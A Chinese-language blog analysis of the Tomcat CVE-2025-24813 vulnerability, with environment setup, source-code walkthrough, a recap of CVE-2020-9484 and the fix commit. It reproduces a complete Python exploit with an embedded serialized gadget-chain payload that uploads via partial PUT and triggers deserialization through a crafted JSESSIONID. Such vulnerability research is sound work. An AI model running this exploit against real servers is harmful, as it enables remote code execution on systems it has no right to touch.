Skip to content

从 CVE-2025-24813 回看 Tomcat 过往漏洞

约 1461 字大约 5 分钟

Java

2025-03-22

前言

某天突然发现好几个师傅都在发这个洞,利用条件有那么点苛刻,恰好学弟问到了 session 反序列化的问题,上手分析学习一下,感受与过往漏洞的联系

简述

漏洞影响范围

  • 9.0.0.M1 <= Tomcat <= 9.0.98
  • 10.1.0-M1 <= Tomcat <= 10.1.34
  • 11.0.0-M1 <= Tomcat <= 11.0.2

Tomcat 因为 PUT 出的洞不少,从 CVE-2017-12615 的文件上传,再到 CVE-2024-50379 条件竞争文件上传,CVE-2020-9484 session 反序列化漏洞,最后到了这个把上传和反序列化组合起来的洞

大致流程就是在 Tomcat 处理 HTTP PUT 请求时,Content-Range 头主要用于实现大文件的分块上传,当文件上传未完成时,数据会被临时存储在 Tomcat 的工作目录: $CATALINA_BASE/work/Catalina/localhost/ROOT

Tomcat 解析文件路径时对文件名的处理机制:路径分隔符 / 会被转换为 .,请求路径 /xxxxx/session 会被解析为 .xxxxx.session,通过在请求中设置 JSESSIONID=.xxxxx,可以触发 Tomcat 反序列化机制,从而执行恶意代码。

环境搭建

我在这里使用的是 Tomcat 9.0.85 ,jdk8u65 或者202都可,Windows 环境

在Tomcat 安装的位置,如 apache-tomcat-9.0.85\conf ,修改该目录下的文件如下,content.xml 部分是开启 Tomcat 的 Session 储存功能,web.xml 其实就是开启 PUT ,在 IDEA 里面配置好 Tomcat 去用的话,他会自动读取这个配置,然后在 C:\Users\AppData\Local\JetBrains\IntelliJIdea2024.3\tomcat 目录下生成一个文件夹去存复制过来的配置文件,之后那个重要的 session 文件也会存储在这里

content.xml
<?xml version="1.0" encoding="UTF-8"?>
<Context>
    <WatchedResource>WEB-INF/web.xml</WatchedResource>
    <WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
    <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
  <Manager className="org.apache.catalina.session.PersistentManager">  
  <Store className="org.apache.catalina.session.FileStore"/>  
  </Manager>
</Context>

新建一个项目,加一个web 框架进去,正常配置一个 Tomcat 即可,然后在 WEB-INF/lib 下加入 CB 和 CC 依赖,把 Tomcat 依赖的 jar 包导入到库依赖里,方便后续调试

image-20250320215742845

image-20250320215728135

exp

先把B神写的 exp 放上来后面直接拿着调,payload 拿 yso 生成一个就行

import requests
import base64


def put_request(url, data=None, headers=None, timeout=10, verify=True):
    try:
        response = requests.put(
            url=url,
            data=data,
            headers=headers,
            timeout=timeout,
            verify=verify
        )
        return response
    except Exception as e:
        print(f"PUT请求发生错误: {e}")
        return None


def get_request(url, headers=None, timeout=10, verify=True):
    try:
        response = requests.get(
            url=url,
            headers=headers,
            timeout=timeout,
            verify=verify
        )
        return response
    except Exception as e:
        print(f"GET请求发生错误: {e}")
        return None


if __name__ == "__main__":
    target_url = "http://localhost:8080/CVE_2025_24813_Web_exploded/a/session"
    
    # 序列化的 b64 payload
    payload = base64.b64decode("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABAjK/rq+AAAANABECgAQACUIACYJACcAKAgAKQoABgAqBwArCAAsCAAtCAAdCAAuCgAvADAKAC8AMQcAMgoADQAzBwA0BwA1AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABVMcGF5bG9hZC9SdW50aW1lRXhlYzsBAAg8Y2xpbml0PgEABHZhcjEBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAEdmFyMwEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHACsHABoHADIBAApTb3VyY2VGaWxlAQAQUnVudGltZUV4ZWMuamF2YQwAEQASAQAIY2FsYy5leGUHADYMADcAHgEAAS8MADgAOQEAEGphdmEvbGFuZy9TdHJpbmcBAAcvYmluL3NoAQACLWMBAAIvQwcAOgwAOwA8DAA9AD4BABNqYXZhL2lvL0lPRXhjZXB0aW9uDAA/ABIBAAh6ZXp1ZmNjZQEAEGphdmEvbGFuZy9PYmplY3QBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHAEAMABEAEgoAQQBCACEADwBBAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AEOxAAAAAgAUAAAABgABAAAABQAVAAAADAABAAAABQAWABcAAAAIABgAEgABABMAAADTAAQAAwAAAEgSAkuyAAMSBLYABZkAGQa9AAZZAxIHU1kEEghTWQUqU0ynABYGvQAGWQMSCVNZBBIKU1kFKlNMuAALK7YADFenAAhNLLYADrEAAQA3AD8AQgANAAMAFAAAACYACQAAAAcAAwAJAA4ACgAkAAwANwAPAD8AEgBCABAAQwARAEcAEwAVAAAAKgAEACEAAwAZABoAAQBDAAQAGwAcAAIAAwBEAB0AHgAAADcAEAAZABoAAQAfAAAAFQAE/AAkBwAg/AASBwAhSgcAIvkABAABACMAAAACACR1cQB+ABAAAADyyv66vgAAADEAEwEAA0ZvbwcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAApTb3VyY2VGaWxlAQAIRm9vLmphdmEBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQcABwEAEHNlcmlhbFZlcnNpb25VSUQBAAFKBXHmae48bUcYAQANQ29uc3RhbnRWYWx1ZQEABjxpbml0PgEAAygpVgwADgAPCgAEABABAARDb2RlACEAAgAEAAEACAABABoACQAKAAEADQAAAAIACwABAAEADgAPAAEAEgAAABEAAQABAAAABSq3ABGxAAAAAAABAAUAAAACAAZwdAABUHB3AQB4cQB+AA14") 
    
    range_len = len(payload)
    custom_headers = {
        "Content-Range": f"bytes 0-{range_len + 1}/1200"
    }

    response = put_request(url=target_url, data=payload, headers=custom_headers)
    if response.status_code == 409:
        print("[+] 文件上传成功")

    triggle_url = "http://localhost:8080/CVE_2025_24813_Web_exploded/"
    get_headers = {
        "JSESSIONID": ".a"
    }
    get_response = get_request(url=triggle_url, headers=get_headers)
    if get_response:
        print("[+] 触发 Payload")

文件上传

进到 DefaultServlet#doPut

	protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        if (this.readOnly) {
            this.sendNotAllowed(req, resp);
        } else {
            String path = this.getRelativePath(req);
            WebResource resource = this.resources.getResource(path);
            Range range = this.parseContentRange(req, resp);
            if (range != null) {
                InputStream resourceInputStream = null;

                try {
                    if (range == IGNORE) {
                        resourceInputStream = req.getInputStream();
                    } else {
                        File contentFile = this.executePartialPut(req, range, path);
                        resourceInputStream = new FileInputStream(contentFile);
                    }

                    if (this.resources.write(path, resourceInputStream, true)) {
                        if (resource.exists()) {
                            resp.setStatus(204);
                        } else {
                            resp.setStatus(201);
                        }
                    } else {
                        resp.sendError(409);
                    }
                } finally {
                    if (resourceInputStream != null) {
                        try {
                            resourceInputStream.close();
                        } catch (IOException var13) {
                        }
                    }

                }

            }
        }
    }

重点是里面的executePartialPut方法

image-20250329152628935

WebResource resource = this.resources.getResource(path);

获取到 Web 根目录,然后传文件上去,这里会把/替换成.

Range range = this.parseContentRange(req, resp);

对传入的数据进行解析拿出 range ,那么什么是 range?

Content-Range 的典型用途就是断点续传,或者大文件分片下载,然后通过 range 去指定范围

具体的 parse 流程就是先进到这个 parse

image-20250329151533059

然后 readToken 读取出来单位为 bytes,再读取首尾以及长度

image-20250329152043439

所以标准的Content-Range 解析格式是这种

Content-Range: bytes 200-1000/67589

image-20250329162835584

然后就写进去了,我在测试的时候没有发现长度和之前那个分块大小的关系,好像怎么都行?

image-20250329163049450

session反序列化

在复现这个 CVE 之前,先回顾一下历史漏洞

CVE-2020-9484

用户上传了一个 /tmp/xxx.session 文件,就可以通过 Cookie 来触发 xxx.session 的反序列化

Cookie: JSESSIONID=../../../../../tmp/xxx

其中核心就是要开启 session FileStore,这也正是CVE-2025-24813的配置要求。

开启这个选项之后,在不带 cookie 去访问,然后把 Tomcat 服务关掉,会保留下序列化的 session 文件,这恰好是我们上传那个文件的缓存目录

image-20250329164143060

触发点

FileStore#load方法里面的 readObject

    public Session load(String id) throws ClassNotFoundException, IOException {
        File file = this.file(id);
        if (file != null && file.exists()) {
            Context context = this.getManager().getContext();
            Log contextLog = context.getLogger();
            if (contextLog.isDebugEnabled()) {
                contextLog.debug(sm.getString(this.getStoreName() + ".loading", new Object[]{id, file.getAbsolutePath()}));
            }

            ClassLoader oldThreadContextCL = context.bind(Globals.IS_SECURITY_ENABLED, (ClassLoader)null);

            Object ois;
            try {
                try {
                    FileInputStream fis = new FileInputStream(file.getAbsolutePath());

                    StandardSession var9;
                    try {
                        ObjectInputStream ois = this.getObjectInputStream(fis);

                        try {
                            StandardSession session = (StandardSession)this.manager.createEmptySession();
                            session.readObjectData(ois);
                            session.setManager(this.manager);
                            var9 = session;
                        } catch (Throwable var19) {
                            if (ois != null) {
                                try {
                                    ois.close();
                                } catch (Throwable var18) {
                                    var19.addSuppressed(var18);
                                }
                            }

                            throw var19;
                        }

                        if (ois != null) {
                            ois.close();
                        }
                    } catch (Throwable var20) {
                        try {
                            fis.close();
                        } catch (Throwable var17) {
                            var20.addSuppressed(var17);
                        }

                        throw var20;
                    }

                    fis.close();
                    return var9;
                } catch (FileNotFoundException var21) {
                    if (contextLog.isDebugEnabled()) {
                        contextLog.debug("No persisted data file found");
                    }
                }

                ois = null;
            } finally {
                context.unbind(Globals.IS_SECURITY_ENABLED, oldThreadContextCL);
            }

            return (Session)ois;
        } else {
            return null;
        }
    }

运行之后可以再发个包 ,exp 上传的会在缓存消失时触发一次

image-20250329165305131

修复

https://github.com/apache/tomcat/commit/0a668e0c27f2b7ca0cc7c6eea32253b9b5ecb29c

image-20250329165032727

image-20250329165055802

非常显然,对于上传的目录做了限制

参考文章

https://boogipop.com/2025/03/13/CVE-2025-24813 Tomcat Session 反序列化组合拳/

https://mp.weixin.qq.com/s/z6BY_xC4YR4PYHT8LI0u_w